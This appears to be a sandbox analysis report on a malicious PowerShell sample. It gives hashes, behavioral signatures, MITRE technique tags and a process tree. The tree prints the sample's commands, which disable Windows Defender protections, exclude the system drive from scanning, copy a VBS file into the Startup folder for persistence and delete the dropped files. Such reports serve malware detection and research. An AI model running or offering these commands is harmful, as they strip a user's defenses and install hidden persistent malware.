31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/05/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432.ps1
Size 6KB
Sample260522-wlr55aew41
SHA256 31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432
MD5 261a8771739ba9d0eb52de6dbce242b9
SHA1 594c30434fe3b4867da3077fe41bf1844a6496fe
SHA512 910e5a97ae3139bf98122a62b2019ef83fbd7d6c24172a0ce481aa8756ffb67db5a91f0c51ff2c35c36d27434e419f758d16f30a5637b68594f199fc3ac7e23e
SSDEEP 96:4yEBs5sZ58fOO9D+FwqODvhsZ5SHAI6n97OCR6GHcHADi/QzQadU8J0E+aQJ4BkA:4yeefmqqcH697L6sqSjqVJ4dzWU
TLSH
T106D135005BFA9608B6B36B05AABFA051897B7A6D9D36CB4D0049C14E17F2A44CC67F73
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
33	2004	powershell.exe
36	5204	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4600	powershell.exe
2004	powershell.exe
5204	powershell.exe

.NET Reactor proctector 64 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/5204-31-0x0000024C02760000-0x0000024C027C6000-memory.dmp	net_reactor
behavioral1/memory/5204-36-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-50-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-158-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-157-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-154-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-153-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-150-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-148-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-146-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-144-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-142-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-140-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-136-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-132-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-130-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-128-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-126-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-124-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-122-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-121-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-118-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-116-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-114-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-112-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-110-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-108-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-104-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-102-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-100-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-98-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-96-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-94-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-92-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-88-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-86-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-84-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-82-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-80-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-78-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-76-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-72-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-70-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-68-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-66-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-64-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-62-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-60-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-58-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-56-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-54-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-48-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-46-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-44-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-42-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-40-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-38-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-138-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-134-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-106-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-90-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-74-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-52-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor
behavioral1/memory/5204-34-0x0000024C02760000-0x0000024C027BF000-memory.dmp	net_reactor

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
872	cmd.exe
2848	PING.EXE
3392	PING.EXE
5612	PING.EXE
5696	cmd.exe
4572	cmd.exe
5708	cmd.exe
4236	PING.EXE
4400	PING.EXE
5280	cmd.exe
4380	cmd.exe
2996	cmd.exe
5916	cmd.exe
2204	PING.EXE
4692	cmd.exe
4300	PING.EXE
4248	cmd.exe
1344	cmd.exe
5036	cmd.exe
4180	cmd.exe
2364	PING.EXE
5828	PING.EXE
4076	PING.EXE
5264	cmd.exe
4080	cmd.exe
4848	cmd.exe
5444	cmd.exe
5188	PING.EXE
3884	PING.EXE
3652	cmd.exe
1260	PING.EXE
5008	PING.EXE
3404	PING.EXE
4432	cmd.exe
1356	PING.EXE
1792	PING.EXE
1816	cmd.exe
4668	cmd.exe
3016	cmd.exe
2816	PING.EXE
336	cmd.exe
4140	cmd.exe
4340	PING.EXE
1484	cmd.exe
4464	cmd.exe
2188	PING.EXE
5720	PING.EXE
220	cmd.exe
4068	PING.EXE
1908	cmd.exe
2968	PING.EXE
1144	cmd.exe
4352	PING.EXE
3984	PING.EXE
1432	cmd.exe
4384	cmd.exe
2708	PING.EXE
4632	cmd.exe
3076	cmd.exe
2588	cmd.exe
2572	PING.EXE
6044	cmd.exe
3624	PING.EXE
1184	cmd.exe

Runs ping.exe 1 TTPs 60 IoCs

Remote System Discovery

T1018

pid	Process
5008	PING.EXE
5720	PING.EXE
5308	PING.EXE
4352	PING.EXE
2496	PING.EXE
1260	PING.EXE
2188	PING.EXE
2816	PING.EXE
5432	PING.EXE
1996	PING.EXE
4040	PING.EXE
5436	PING.EXE
2572	PING.EXE
3392	PING.EXE
4076	PING.EXE
1880	PING.EXE
4324	PING.EXE
3268	PING.EXE
4000	PING.EXE
3624	PING.EXE
884	PING.EXE
996	PING.EXE
3984	PING.EXE
4128	PING.EXE
1792	PING.EXE
3000	PING.EXE
4300	PING.EXE
4236	PING.EXE
4872	PING.EXE
4400	PING.EXE
1356	PING.EXE
5188	PING.EXE
3884	PING.EXE
4888	PING.EXE
2968	PING.EXE
1376	PING.EXE
6064	PING.EXE
3404	PING.EXE
1588	PING.EXE
2708	PING.EXE
5612	PING.EXE
1408	PING.EXE
2780	PING.EXE
472	PING.EXE
4340	PING.EXE
5828	PING.EXE
3356	PING.EXE
3152	PING.EXE
2544	PING.EXE
2204	PING.EXE
2044	PING.EXE
208	PING.EXE
4068	PING.EXE
4064	PING.EXE
5540	PING.EXE
1488	PING.EXE
2364	PING.EXE
2848	PING.EXE
1744	PING.EXE
4908	PING.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2004	powershell.exe
2004	powershell.exe
5204	powershell.exe
5204	powershell.exe
5204	powershell.exe
4600	powershell.exe
4600	powershell.exe

Suspicious use of AdjustPrivilegeToken 45 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeIncreaseQuotaPrivilege	2004	powershell.exe
Token: SeSecurityPrivilege	2004	powershell.exe
Token: SeTakeOwnershipPrivilege	2004	powershell.exe
Token: SeLoadDriverPrivilege	2004	powershell.exe
Token: SeSystemProfilePrivilege	2004	powershell.exe
Token: SeSystemtimePrivilege	2004	powershell.exe
Token: SeProfSingleProcessPrivilege	2004	powershell.exe
Token: SeIncBasePriorityPrivilege	2004	powershell.exe
Token: SeCreatePagefilePrivilege	2004	powershell.exe
Token: SeBackupPrivilege	2004	powershell.exe
Token: SeRestorePrivilege	2004	powershell.exe
Token: SeShutdownPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeSystemEnvironmentPrivilege	2004	powershell.exe
Token: SeRemoteShutdownPrivilege	2004	powershell.exe
Token: SeUndockPrivilege	2004	powershell.exe
Token: SeManageVolumePrivilege	2004	powershell.exe
Token: 33	2004	powershell.exe
Token: 34	2004	powershell.exe
Token: 35	2004	powershell.exe
Token: 36	2004	powershell.exe
Token: SeIncreaseQuotaPrivilege	2004	powershell.exe
Token: SeSecurityPrivilege	2004	powershell.exe
Token: SeTakeOwnershipPrivilege	2004	powershell.exe
Token: SeLoadDriverPrivilege	2004	powershell.exe
Token: SeSystemProfilePrivilege	2004	powershell.exe
Token: SeSystemtimePrivilege	2004	powershell.exe
Token: SeProfSingleProcessPrivilege	2004	powershell.exe
Token: SeIncBasePriorityPrivilege	2004	powershell.exe
Token: SeCreatePagefilePrivilege	2004	powershell.exe
Token: SeBackupPrivilege	2004	powershell.exe
Token: SeRestorePrivilege	2004	powershell.exe
Token: SeShutdownPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeSystemEnvironmentPrivilege	2004	powershell.exe
Token: SeRemoteShutdownPrivilege	2004	powershell.exe
Token: SeUndockPrivilege	2004	powershell.exe
Token: SeManageVolumePrivilege	2004	powershell.exe
Token: 33	2004	powershell.exe
Token: 34	2004	powershell.exe
Token: 35	2004	powershell.exe
Token: 36	2004	powershell.exe
Token: SeDebugPrivilege	5204	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2004 wrote to memory of 5204	2004	powershell.exe	96
PID 5204 wrote to memory of 1432	5204	powershell.exe	97
PID 5204 wrote to memory of 1456	5204	powershell.exe	98
PID 5204 wrote to memory of 4724	5204	powershell.exe	99
PID 5204 wrote to memory of 3016	5204	powershell.exe	100
PID 5204 wrote to memory of 5960	5204	powershell.exe	101
PID 5204 wrote to memory of 872	5204	powershell.exe	102
PID 5204 wrote to memory of 3076	5204	powershell.exe	103
PID 5204 wrote to memory of 1344	5204	powershell.exe	104
PID 5204 wrote to memory of 2588	5204	powershell.exe	105
PID 5204 wrote to memory of 4384	5204	powershell.exe	106
PID 1344 wrote to memory of 4128	1344	cmd.exe	107
PID 1456 wrote to memory of 3152	1456	cmd.exe	108
PID 872 wrote to memory of 4236	872	cmd.exe	109
PID 2588 wrote to memory of 4340	2588	cmd.exe	110
PID 4384 wrote to memory of 1744	4384	cmd.exe	111
PID 3016 wrote to memory of 4888	3016	cmd.exe	112
PID 4724 wrote to memory of 5828	4724	cmd.exe	113
PID 5960 wrote to memory of 2816	5960	cmd.exe	114
PID 1432 wrote to memory of 5432	1432	cmd.exe	115
PID 3076 wrote to memory of 1792	3076	cmd.exe	116
PID 5204 wrote to memory of 4600	5204	powershell.exe	117
PID 5204 wrote to memory of 5036	5204	powershell.exe	119
PID 5204 wrote to memory of 3820	5204	powershell.exe	120
PID 5036 wrote to memory of 1996	5036	cmd.exe	121
PID 3820 wrote to memory of 3268	3820	cmd.exe	122
PID 5204 wrote to memory of 3404	5204	powershell.exe	123
PID 5204 wrote to memory of 1596	5204	powershell.exe	124
PID 5204 wrote to memory of 2656	5204	powershell.exe	125
PID 2656 wrote to memory of 2968	2656	cmd.exe	126
PID 1596 wrote to memory of 4040	1596	cmd.exe	127
PID 5204 wrote to memory of 4692	5204	powershell.exe	130
PID 5204 wrote to memory of 1484	5204	powershell.exe	131
PID 5204 wrote to memory of 5480	5204	powershell.exe	132
PID 1484 wrote to memory of 4872	1484	cmd.exe	133
PID 5480 wrote to memory of 5436	5480	cmd.exe	134
PID 5204 wrote to memory of 5768	5204	powershell.exe	136
PID 5204 wrote to memory of 4916	5204	powershell.exe	137
PID 5204 wrote to memory of 3652	5204	powershell.exe	138
PID 3652 wrote to memory of 208	3652	cmd.exe	139
PID 4916 wrote to memory of 5720	4916	cmd.exe	140
PID 5204 wrote to memory of 952	5204	powershell.exe	141
PID 5204 wrote to memory of 220	5204	powershell.exe	142
PID 5204 wrote to memory of 4380	5204	powershell.exe	143
PID 220 wrote to memory of 2544	220	cmd.exe	144
PID 4380 wrote to memory of 2848	4380	cmd.exe	145
PID 5204 wrote to memory of 4992	5204	powershell.exe	150
PID 5204 wrote to memory of 1816	5204	powershell.exe	151
PID 5204 wrote to memory of 5664	5204	powershell.exe	152
PID 5664 wrote to memory of 3356	5664	cmd.exe	153
PID 1816 wrote to memory of 4076	1816	cmd.exe	154
PID 5204 wrote to memory of 5380	5204	powershell.exe	156
PID 5204 wrote to memory of 2996	5204	powershell.exe	157
PID 5204 wrote to memory of 1076	5204	powershell.exe	158
PID 2996 wrote to memory of 5308	2996	cmd.exe	159
PID 1076 wrote to memory of 2572	1076	cmd.exe	160
PID 5204 wrote to memory of 2248	5204	powershell.exe	163
PID 5204 wrote to memory of 5264	5204	powershell.exe	164
PID 5204 wrote to memory of 1144	5204	powershell.exe	165
PID 5264 wrote to memory of 1880	5264	cmd.exe	166
PID 1144 wrote to memory of 4000	1144	cmd.exe	167
PID 5204 wrote to memory of 5936	5204	powershell.exe	169
PID 5204 wrote to memory of 4632	5204	powershell.exe	170
PID 5204 wrote to memory of 5232	5204	powershell.exe	171

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\_31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\qhtgp_01.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5204
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778707058.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1432
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:5432
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:3152
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi4b67.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4724
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5828
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi4b8b.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4888
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui4b67.txt"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5960
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2816
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui4b8b.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4236
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\_31704f859fa47d831d0934f1b943b6407b4b733e1ae5b323a269eda3fbe31432.ps1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3076
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1792
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\mbddh.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4128
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\pqvzs.txt"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4340
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\qhtgp_01.ps1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4384
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:1744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4600
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5036
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:1996
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3820
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:3268
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3404
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4040
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2656
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2968
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4692
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1484
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4872
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5480
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:5436
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5768
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5720
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3652
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:208
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:952
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:220
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:2544
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:4380
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2848
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4992
- - C:\Windows\SYSTEM32\cmd.exe
